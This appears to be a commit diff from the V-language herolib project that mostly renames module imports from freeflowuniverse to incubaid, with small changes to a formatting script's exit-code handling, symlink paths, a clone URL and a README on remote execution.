@@ -100,7 +104,3 @@ fn main() {
exit(1)
}
}
// fn pre_func(cmd Command) ! {
// herocmds.plbook_run(cmd)!
// }

View File

@@ -1,6 +1,6 @@
module main
import freeflowuniverse.herolib.mcp.v_do
import incubaid.herolib.mcp.v_do
fn main() {
// Create and start the MCP server

15
doc.vsh
View File

@@ -6,15 +6,22 @@ abs_dir_of_script := dir(@FILE)
// Format code
println('Formatting code...')
if os.system('v fmt -w ${abs_dir_of_script}/examples') != 0 {
eprintln('Warning: Failed to format examples')
// v fmt returns:
// - 0: all files already formatted (no changes)
// - 5: files were formatted (changes made) - this is SUCCESS
// - other: actual errors (syntax errors, file access issues, etc.)
fmt_examples_result := os.system('v fmt -w ${abs_dir_of_script}/examples')
if fmt_examples_result != 0 && fmt_examples_result != 5 {
eprintln('Error: Failed to format examples (exit code: ${fmt_examples_result})')
exit(1)
}
if os.system('v fmt -w ${abs_dir_of_script}/lib') != 0 {
eprintln('Warning: Failed to format herolib')
fmt_lib_result := os.system('v fmt -w ${abs_dir_of_script}/lib')
if fmt_lib_result != 0 && fmt_lib_result != 5 {
eprintln('Error: Failed to format herolib (exit code: ${fmt_lib_result})')
exit(1)
}
println(' Code formatting completed')
// Clean existing docs
println('Cleaning existing documentation...')

View File

@@ -51,8 +51,8 @@ println('Resetting all symlinks...')
os.rm('${os.home_dir()}/.vmodules/incubaid/herolib') or {}
// Create necessary directories
os.mkdir_all('${os.home_dir()}/.vmodules/freeflowuniverse') or {
panic('Failed to create directory ~/.vmodules/freeflowuniverse: ${err}')
os.mkdir_all('${os.home_dir()}/.vmodules/incubaid') or {
panic('Failed to create directory ~/.vmodules/incubaid: ${err}')
}
// Create new symlinks

View File

@@ -224,7 +224,7 @@ function hero_lib_get {
hero_lib_pull
else
pushd $DIR_CODE/github/incubaid 2>&1 >> /dev/null
git clone --depth 1 --no-single-branch https://github.com/freeflowuniverse/herolib.git
git clone --depth 1 --no-single-branch https://github.com/incubaid/herolib.git
popd 2>&1 >> /dev/null
fi
}

View File

@@ -2,7 +2,7 @@
module main
import freeflowuniverse.herolib.clients.openai
import incubaid.herolib.clients.openai
import os
fn test1(mut client openai.OpenAI) ! {

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.mcp.aitools
import incubaid.herolib.mcp.aitools
// aitools.convert_pug("/root/code/github/incubaid/herolauncher/pkg/herolauncher/web/templates/admin")!

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.jina
import incubaid.herolib.clients.jina
mut jina_client := jina.get()!
health := jina_client.health()!

View File

@@ -1,8 +1,8 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.qdrant
import freeflowuniverse.herolib.installers.db.qdrant_installer
import freeflowuniverse.herolib.core.httpconnection
import incubaid.herolib.clients.qdrant
import incubaid.herolib.installers.db.qdrant_installer
import incubaid.herolib.core.httpconnection
import rand
import os

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.hero.bootstrap
import incubaid.herolib.hero.bootstrap
mut al := bootstrap.new_alpine_loader()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.investortool
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.investortool
import incubaid.herolib.core.playbook
import os
mut plbook := playbook.new(

View File

@@ -1,13 +1,13 @@
#!/usr/bin/env -S v -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
// #!/usr/bin/env -S v -cg -enable-globals run
import freeflowuniverse.herolib.data.doctree
import freeflowuniverse.herolib.ui.console
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import freeflowuniverse.herolib.web.mdbook
import freeflowuniverse.herolib.biz.spreadsheet
import incubaid.herolib.data.doctree
import incubaid.herolib.ui.console
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
import incubaid.herolib.web.mdbook
import incubaid.herolib.biz.spreadsheet
import os
const name = 'tf9_budget'

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import incubaid.herolib.biz.bizmodel
import os
const playbook_path = os.dir(@FILE) + '/playbook'

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript_path := os.join_path(os.dir(@FILE), 'examples/complete.heroscript')

View File

@@ -1,8 +1,8 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
import os
heroscript_path := os.join_path(os.dir(@FILE), 'examples/complete.heroscript')

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript_path := os.join_path(os.dir(@FILE), 'examples/full')

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -no-retry-compilation -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.biz.bizmodel
import freeflowuniverse.herolib.core.playbook
import incubaid.herolib.biz.bizmodel
import incubaid.herolib.core.playbook
import os
heroscript := "

View File

@@ -19,6 +19,7 @@ A V program that demonstrates remote execution of system operations:
### `run.sh`
A bash script that:
1. Compiles the V program
2. Copies it to a remote machine using SCP
3. Executes it remotely using SSH
@@ -45,16 +46,19 @@ Modify these values to match your remote system configuration.
## Usage
1. Set the required environment variable:
```bash
export SECRET=your_secret_value
```
2. Make the script executable:
```bash
chmod +x run.sh
```
3. Run the script:
```bash
./run.sh
```
@@ -66,9 +70,8 @@ This example demonstrates practical usage of the herolib builder module's remote
The builder module provides a more structured way to manage remote nodes and execute commands:
```v
import freeflowuniverse.herolib.builder
import incubaid.herolib.builder
mut b := builder.new()!
mut n := b.node_new(ipaddr:"user@host:port")!
// Execute commands on the remote node
```

View File

@@ -1,6 +1,6 @@
module main
import freeflowuniverse.herolib.core
import incubaid.herolib.core
fn do() ! {
// base.uninstall_brew()!

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.builder
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.builder
import incubaid.herolib.core.pathlib
import os
fn do1() ! {

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.builder
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.builder
import incubaid.herolib.core.pathlib
import os
mut b := builder.new()!

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.builder
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.builder
import incubaid.herolib.core.pathlib
import os
mut b := builder.new()!

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.openai
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.clients.openai
import incubaid.herolib.core.playcmds
playcmds.run(
heroscript: '

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -g -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.playcmds
import freeflowuniverse.herolib.clients.giteaclient
import incubaid.herolib.core.playcmds
import incubaid.herolib.clients.giteaclient
heroscript := "
!!giteaclient.configure

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.jina
import incubaid.herolib.clients.jina
import os
import json

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.mailclient
import incubaid.herolib.clients.mailclient
// remove the previous one, otherwise the env variables are not read
mailclient.config_delete(name: 'test')!

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.mycelium
import freeflowuniverse.herolib.installers.net.mycelium_installer
import incubaid.herolib.clients.mycelium
import incubaid.herolib.installers.net.mycelium_installer
import time
import os
import encoding.base64

View File

@@ -3,8 +3,8 @@
// Mycelium RPC Client Example
// This example demonstrates how to use the new Mycelium JSON-RPC client
// to interact with a Mycelium node's admin API
import freeflowuniverse.herolib.clients.mycelium_rpc
import freeflowuniverse.herolib.installers.net.mycelium_installer
import incubaid.herolib.clients.mycelium_rpc
import incubaid.herolib.installers.net.mycelium_installer
import time
import os
import encoding.base64

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core
import freeflowuniverse.herolib.clients.postgresql_client
import incubaid.herolib.core
import incubaid.herolib.clients.postgresql_client
// Configure PostgreSQL client
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.zinit
import freeflowuniverse.herolib.installers.infra.zinit_installer
import incubaid.herolib.clients.zinit
import incubaid.herolib.installers.infra.zinit_installer
import os
import time

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.core.jobs.model
import incubaid.herolib.data.ourtime
import incubaid.herolib.core.jobs.model
// Create a test agent with some sample data
mut agent := model.Agent{

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.base
import incubaid.herolib.core.base
pub struct MyClient[T] {
base.BaseConfig[T]

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.pathlib
import freeflowuniverse.herolib.core.base
import incubaid.herolib.core.pathlib
import incubaid.herolib.core.base
pub struct MyClient[T] {
base.BaseConfig[T]

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.base
import freeflowuniverse.herolib.develop.gittools
import incubaid.herolib.core.base
import incubaid.herolib.develop.gittools
pub struct MyClass {
base.Base

View File

@@ -1,9 +1,9 @@
#!/usr/bin/env -S v -gc none -cc tcc -d use_openssl -enable-globals run
import time
import freeflowuniverse.herolib.core.smartid
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.core.db
import incubaid.herolib.core.smartid
import incubaid.herolib.data.ourtime
import incubaid.herolib.core.db
pub struct MyStruct {
db.Base

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.generator.generic as generator
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.generator.generic as generator
import incubaid.herolib.core.pathlib
// mut args := generator.GeneratorArgs{
// path: '~/code/github/incubaid/herolib/lib/clients'

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.logger
import incubaid.herolib.core.logger
mut l := logger.new(path: '/tmp/vlogs')!

View File

@@ -2,7 +2,7 @@
import os
import json
import freeflowuniverse.herolib.core.openapi.gen
import incubaid.herolib.core.openapi.gen
const spec_path = '${os.dir(@FILE)}/openapi.json'

View File

@@ -1,6 +1,6 @@
module openrpc_client
import freeflowuniverse.herolib.data.jsonrpc { JsonRpcRequest }
import incubaid.herolib.data.jsonrpc { JsonRpcRequest }
import net.websocket
struct Client {

View File

@@ -1,6 +1,6 @@
module petstore_client
import freeflowuniverse.herolib.data.jsonrpc { JsonRpcRequest }
import incubaid.herolib.data.jsonrpc { JsonRpcRequest }
import net.websocket
struct Client {

View File

@@ -1,6 +1,6 @@
module petstore_client
import freeflowuniverse.herolib.data.jsonrpc
import incubaid.herolib.data.jsonrpc
// get_pets finds pets in the system that the user has access to by tags and within a limit
// - tags: tags to filter by

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
import os
const testpath3 = os.dir(@FILE) + '/../../..'

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
import os
const testpath4 = os.dir(@FILE) + '../../'

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.pathlib
import freeflowuniverse.herolib.data.paramsparser
import incubaid.herolib.core.pathlib
import incubaid.herolib.data.paramsparser
import os
const testpath3 = os.dir(@FILE) + '/../..'

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
import os
const testpath4 = os.dir(@FILE) + '/paths_sha256.vsh'

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
import freeflowuniverse.herolib.crypt.herocrypt
import incubaid.herolib.crypt.herocrypt
import time
// Initialize the HeroCrypt client

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v run
// Example struct to cache
import freeflowuniverse.herolib.data.cache
import incubaid.herolib.data.cache
import time
@[heap]

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.countries
import incubaid.herolib.data.countries
mut all_countries := countries.get_all_countries() or {
eprintln('Error loading countries: ${err}')

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.ourdb
import incubaid.herolib.data.ourdb
import time
// Known worker public key

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.ourdb
import incubaid.herolib.data.ourdb
worker_public_key := '46a9f9cee1ce98ef7478f3dea759589bbf6da9156533e63fed9f233640ac072c'

View File

@@ -1,8 +1,8 @@
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.encoder
import incubaid.herolib.data.encoder
import crypto.ed25519
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.ui.console
struct AStruct {
mut:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cg -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.crypt.aes_symmetric { decrypt, encrypt }
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.crypt.aes_symmetric { decrypt, encrypt }
import incubaid.herolib.ui.console
msg := 'my message'.bytes()
console.print_debug('${msg}')

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
// Example demonstrating GraphDB usage in a social network context
import freeflowuniverse.herolib.data.graphdb
import incubaid.herolib.data.graphdb
fn main() {
// Initialize a new graph database with default cache settings

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.encoderhero
import freeflowuniverse.herolib.core.base
import incubaid.herolib.data.encoderhero
import incubaid.herolib.core.base
// this is docu at top
@[name: 'teststruct ']

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.data.encoderhero
import freeflowuniverse.herolib.core.base
import incubaid.herolib.data.encoderhero
import incubaid.herolib.core.base
import time
struct Person {

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -cg -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.postgresql_client
import freeflowuniverse.herolib.data.location
import incubaid.herolib.clients.postgresql_client
import incubaid.herolib.data.location
// Configure PostgreSQL client
heroscript := "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.clients.postgresql_client
import freeflowuniverse.herolib.data.location
import incubaid.herolib.clients.postgresql_client
import incubaid.herolib.data.location
// Configure PostgreSQL client
heroscript := "

Some files were not shown because too many files have changed in this diff Show More